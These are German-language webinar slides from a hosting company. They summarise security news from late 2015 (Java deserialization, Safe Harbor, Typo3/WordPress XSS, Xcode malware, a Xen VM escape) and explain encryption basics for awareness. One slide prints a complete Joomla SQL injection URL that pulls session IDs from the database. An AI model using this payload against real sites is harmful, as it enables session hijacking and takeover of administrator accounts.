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Ihr Webinar-Team

_ Referent:	Dr.	Christopher	Kunz
_ CEO	Hosting	filoo	GmbH	/	TK	AG
_ Promotion	IT	Security
_ Vorträge	auf	Konferenzen
_ Autor	von	Artikeln	&	Büchern

_Moderation:	Sibylle	Blöchl
_Marketing	Thomas-Krenn.AG
_ Sammelt	Fragen	/	Feedback
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filoo GmbH

_Wir sind die Hosting-Tochter der Thomas-
Krenn.AG
_ Sicheres, hochperformantes Hosting in Frankfurt
_ Mitarbeiter in Gütersloh und Freyung

_ Primärer Rechenzentrumsstandort Frankfurt
_ Tier3, ISO 27001
_ Fläche in zwei Brandabschnitten

_Managed Services
_ Planung & Deployment
_ Security Services
_ Systemadministration
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Agenda

_ Security	im	Oktober/November
_ Java	0days	
_ Safe-Harbour	gekippt
_ Security-Bugs	in	Typo3/Wordpress
_Malware	in	Xcode
_ Joomla	Security
_ Xen VM-Ausbruch

_ Schwerpunktthema	Verschlüsselung
_ Verschlüsselung	richtig	nutzen	– was	wofür?
_ Verschlüsselte	E-Mail	mit	filoo Webmail
_ Aktuelle	Security-Vorfälle	mit	Verschlüsselung
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Java 0days

_ Sicherheitsproblem	in	beliebter	Bibliothekssammlung
_ „Common	Collections“
_ Problem	in	Serialisierungsroutinen

_ Betrifft	viele	Java-(Server-)Anwendungen
_ Weblogic
_ WebSphere
_ Jboss
_ Jenkins
_ OpenNMS

_ Sehr	detaillierte	Beschreibung:		
http://foxglovesecurity.com/2015/11/06/what-do-
weblogic-websphere-jboss-jenkins-opennms-and-your-
application-have-in-common-this-vulnerability/
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Safe Harbor gekippt

_ Safe-Harbor-Abkommen	zw.	EU	und	USA	gekippt
_ Nach	Klage	eines	Österreichers	u.a.	gegen	Facebook

_Übertragung	persönlicher	Daten	in	USA	
grundrechtswidrig
_ Verstoß	gegen	Art.	7	der	EU-Charta

_ Einschätzung	Schaar:	Keine	einfache	Lösung
_ Sog.	Standardvertragsklauseln	und	Binding	Corporate	Rules	
ebenfalls	grundrechtswidrig
_ Explizite	Einwilligung	des	Nutzers	vermutlich	unwirksam
_ Europäische	Server	von	US-Unternehmen	ebenfalls	US-
Jurisdiktion	unterworfen
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Safe Harbor – und nun?

_ Kundendaten	nicht	in	USA	speichern	und	verarbeiten	
lassen
_ Google	Drive,	Dropbox,	Amazon...
_ Salesforce
_ Evernote

_Wo	möglich,	auf	EU-Speicherung	bestehen
_ Einige	Anbieter	haben	Wahlmöglichkeit
_ Festlegung	fordern!

_ Cloud-Hosting	in	Deutschland
_ ...gibt‘s	bei	filoo!
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XSS in Typo3, Wordpress

_ Cross-Site	Scripting	in	Typo3
_ Speziell	präparierter	Links	ins	Backend	kann	JS	enthalten
_ Besonders	gefährlich:	Administratoren/Redakteure	angreifen
_ Angreifbar:	Typo3	6.2.0	bis	6.2.14,	7.0.0	bis	7.3.0

_ XSS	in	Wordpress
_ Verarbeitung	von	Shortcodes	angreifbar
_ Nutzerkontenliste	auch

_ Lücke	im	Rechtesystem
_ Private	Posts	öffentlich	machen	
_ Nutzerkonto	erforderlich

_ Update	auf	4.3.1	dringend	empfohlen
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Malware in XCode

_ Fiese	Leute	haben	Malware	in	Xcode eingebaut...
_ ...und	dann	diese	(raubkopierte)	Version	in	China	verteilt
_ Aber	Xcode ist	doch	kostenlos?
_ Ja,	aber	nicht	frei	in	China	verfügbar!

_Diese	Malware	wird	in	App-Code	übertragen
_ Die	Apps	führen	unerwünschte	Aktionen	aus
_ Clipboard	auslesen
_ Phishing
_ Allerdings	(noch)	inaktiv

_Mehrere	Hundert	chinesische	Apps	betroffen
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Joomla SQL Injection

_ Seit	22.10.	neuer	SQL	Injection 0day	für	Joomla
_ Seitdem	auch	massive	Exploitversuche
_ Automatisierung	inkl.	False-Positive-Filter
_ Betroffen:	Joomla	3.X	(X	<	4.5)

_ /index.php?option=com_contenthistory&view=history
&list[ordering]=&item_id=75&type_id=1%20&list[selec
t]=%20(select%201%20FROM(select%20count(*),conca
t((select%20(select%20concat(session_id))%20FROM%
20jml_session%20LIMIT%200,1),floor(rand(0)*2))x%20
FROM%20information_schema.tables%20GROUP%20B
Y%20x)a)
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XEN VM-Ausbruch

_ Lücke	in	Speicherverwaltung	 für	Xen-Gäste	(VMs)
_ Xen 3.4	x86
_ 32	und	64	Bit

_Auswirkungen:	Ausbruch	aus	VM
_ Kontrolle	des	Hostsystems

_ (Wenig)	mehr	Infos:	XSA-148
_ http://xenbits.xen.org/xsa/advisory-148.html	
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Schwerpunkt 
Verschlüsselung
_ Symmetrische	Verschlüsselung

_ Es	existiert	ein	Schlüssel,	den	beide	vorab	kennen	müssen
_ Alle	Daten	werden	gegen	diesen	Schlüssel	verschlüsselt
_ Sehr	schnell
_ Verwendet	u.a.	in	TLS

_

_Asymmetrische	Verschlüsselung
_ Jeder	Nutzer	hat	einen	öffentlichen	und	privaten	Schlüssel
_Mit	dem	öffentlichen	Schlüssel	wird	verschlüsselt
_Mit	dem	privaten	Schlüssel	wird	entschlüsselt
_ Deutlich	langsamer	als	symmetrische	Kryptographie
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Wofür welche 
Verschlüsselung?
_ Transportverschlüsselung

_ IPSec
_ SSL/TLS
_ ...

_ Ende-zu-Ende-Verschlüsselung
_ PGP	/	GnuPG
_ S/MIME

_ Transparente	Verschlüsselung
_ Crypto-Filesysteme
_ Datenbankverschlüsselung	(MariaDB,	...)
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Asymmetrische 
Verschlüsselung
_Alice	&	Bob	haben	privaten	und	öffentlichen	Schlüssel
_Alice	will	mit	Bob	kommunizieren

_ Sie	gibt	Bob	ihren	öffentlichen	Schlüssel
_ Bob	gibt	ihr	seinen

_Alice	schreibt	die	Nachricht	und	verschlüsselt	sie	mit	
Bobs	öffentlichem	Schlüssel
_ Er	braucht	seinen	privaten	Schlüssel	zum	Entschlüsseln

_Alice	signiert	die	Nachricht	mit	ihrem	privaten	
Schlüssel
_ Bob	braucht	ihren	öffentlichen	Schlüssel	zum	Prüfen
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Verschlüsselung falsch

_ Belkin baut	„smarte“	Lichtschalter	auf	Linuxbasis...
_ ...und	vergißt einen	privaten	GPG-Schlüssel	darin
_Mit	diesem	war	die	Firmware	signiert
_ Somit	können	Angreifer	eigene	Firmwares einspielen
_ Exploits für	einen	Lichtschalter?

_D-Link	baut	Überwachungskamera...
_ ...und	vergißt ein	Code-Signing-Zertifikat	nebst
Key...
_ Somit	können	Angreifer	Windows-Schadcode	in
D-Links	Namen	veröffentlichen
_ Zertifikat	bereits	revoked
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Verschlüsselung vs. 
Hashing
_ Prüfsummen	/	Hashes sind	KEINE	Verschlüsselung!

_ Es	gibt	theoretisch	unendlich	viele	Klartexte	für	denselben	
Ciphertext
_ One-Way-Funktion:	Es	gibt	keinen	Weg	zurück

_Hashfunktionen	erfüllen	zentrale	Aufgaben	in	Crypto
_ Digitale	Signatur:	Hash	eines	Textes	wird	verschlüsselt
_Modifiziere	ich	die	Original-Nachricht,	ändert	der	Hash	sich
_ Kann	ich	denselben	Hash	für	andere	Nachricht	erzeugen?
_ Ich	kann.	à Hash-Kollision
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SHA1-Hashkollision

_ SHA-1	ist	u.A. der	Hashalgorithmus	für	viele	SSL-
Zertifikate
_ Erfolgreicher	Angriff	durch	britische	Forscher

_ Cluster	mit	64	GPUs	

_Mögliche	praktische	Auswirkung:	Gefälschte	SSL-
Zertifikate
_ Besitzer	von	SHA-1-signierten	Zertifikaten	sollten	sie	
tauschen
_Meist	(je	nach	CA)	kostenlos
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Sichere E-Mail

_ Sichere	E-Mail	war	letzten	Monat	Thema
_ Ich	habe	noch	etwas	nachgearbeitet...

_ Ende-zu-Ende-Verschlüsselung	muß im	Mail-Client	
passieren
_ Sonst	kann	jemand	mithören...

_Das	geht	mit	PGP	und	einem	Browser-Plugin
_ Funktioniert	prima	im	filoo Webmailer!
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Sichere E-Mail bei filoo
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Vorschau 

_Nächster	Termin:	09.12.2015

_ Ich	freue	mich	auf	Ihre	Themenvorschläge!
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Vielen Dank

_ Ich	freue	mich	auf	Ihre	Themenvorschläge	und	Fragen!

_ Kontaktdaten:
_ E-Mail:	chris@filoo.de
_ Telefon:	05241/86730-0

_ Besuchen	Sie	filoo!
_ https://www.filoo.de/
_ http://twitter.com/filoogmbh
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